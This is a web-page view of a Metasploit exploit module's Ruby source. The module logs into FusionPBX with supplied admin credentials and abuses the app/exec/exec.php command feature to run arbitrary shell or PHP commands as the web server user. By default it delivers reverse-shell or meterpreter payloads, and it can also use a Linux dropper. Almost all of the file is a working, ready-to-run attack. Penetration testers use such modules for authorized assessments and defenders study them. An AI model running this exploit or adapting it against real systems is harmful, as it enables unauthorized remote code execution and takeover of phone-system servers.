Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'FusionPBX Command exec.php Command Execution',
17
'Description' => %q{
18
This module uses administrative functionality available in FusionPBX
19
to gain a shell.
20
21
The Command section of the application permits users with `exec_view`
22
permissions, or superadmin permissions, to execute arbitrary system
23
commands, or arbitrary PHP code, as the web server user.
24
25
This module has been tested successfully on FusionPBX version
26
4.4.1 on Ubuntu 19.04 (x64).
27
},
28
'License' => MSF_LICENSE,
29
'Author' => ['bcoles'],
30
'References' => [
31
['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']
32
],
33
'Platform' => %w[php linux unix],
34
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
35
'Targets' => [
36
[
37
'Automatic (PHP In-Memory)',
38
'Platform' => 'php',
39
'Arch' => ARCH_PHP,
40
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
41
'Type' => :php_memory
42
],
43
[
44
'Automatic (Unix In-Memory)',
45
'Platform' => 'unix',
46
'Arch' => ARCH_CMD,
47
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
48
'Type' => :unix_memory
49
],
50
[
51
'Automatic (Linux Dropper)',
52
'Platform' => 'linux',
53
'Arch' => [ARCH_X86, ARCH_X64],
54
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
55
'Type' => :linux_dropper
56
]
57
],
58
'Privileged' => false,
59
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
60
'DisclosureDate' => '2019-11-02',
61
'DefaultTarget' => 0,
62
'Notes' => {
63
'Reliability' => UNKNOWN_RELIABILITY,
64
'Stability' => UNKNOWN_STABILITY,
65
'SideEffects' => UNKNOWN_SIDE_EFFECTS
66
}
67
)
68
)
69
register_options [
70
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
71
OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),
72
OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
73
]
74
end
75
76
def login(user, pass)
77
vprint_status "Authenticating as user '#{user}'"
78
79
vars_post = {
80
username: user,
81
password: pass,
82
path: ''
83
}
84
85
res = send_request_cgi({
86
'method' => 'POST',
87
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
88
'vars_post' => vars_post
89
})
90
91
unless res
92
fail_with Failure::Unreachable, 'Connection failed'
93
end
94
95
if res.code == 302 && res.headers['location'].include?('login.php')
96
fail_with Failure::NoAccess, "Login failed for user '#{user}'"
97
end
98
99
unless res.code == 200
100
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
101
end
102
103
cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first
104
105
unless cookie
106
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
107
end
108
109
print_good "Authenticated as user '#{user}'"
110
111
cookie
112
end
113
114
def check
115
res = send_request_cgi({
116
'uri' => normalize_uri(target_uri.path)
117
})
118
119
unless res
120
vprint_error 'Connection failed'
121
return CheckCode::Unknown
122
end
123
124
if res.body.include?('FusionPBX')
125
return CheckCode::Detected
126
end
127
128
CheckCode::Safe
129
end
130
131
def execute_command(cmd, opts = {})
132
vars_post = {
133
handler: 'php',
134
table_name: '',
135
sql_type: '',
136
id: '',
137
cmd: cmd
138
}
139
140
case opts[:handler]
141
when 'php'
142
vars_post[:handler] = 'php'
143
when 'shell'
144
vars_post[:handler] = 'shell'
145
when 'switch'
146
vars_post[:handler] = 'switch'
147
vars_post[:cmd] = "bg_system #{cmd}"
148
else
149
vars_post[:handler] = 'shell'
150
end
151
152
res = send_request_cgi({
153
'method' => 'POST',
154
'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'),
155
'cookie' => "PHPSESSID=#{@cookie}",
156
'vars_post' => vars_post
157
}, 5)
158
159
unless res
160
return if session_created?
161
162
fail_with Failure::Unreachable, 'Connection failed'
163
end
164
165
unless res.code == 200
166
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
167
end
168
169
if res.body.include? 'access denied'
170
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"
171
end
172
173
res
174
end
175
176
def exploit
177
unless check == CheckCode::Detected
178
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
179
end
180
181
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
182
183
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
184
185
case target['Type']
186
when :php_memory
187
execute_command(payload.encoded, handler: 'php')
188
when :unix_memory
189
execute_command(payload.encoded, handler: 'shell')
190
when :linux_dropper
191
execute_cmdstager(:linemax => 1_500, handler: 'shell')
192
end
193
end
194
end
195
196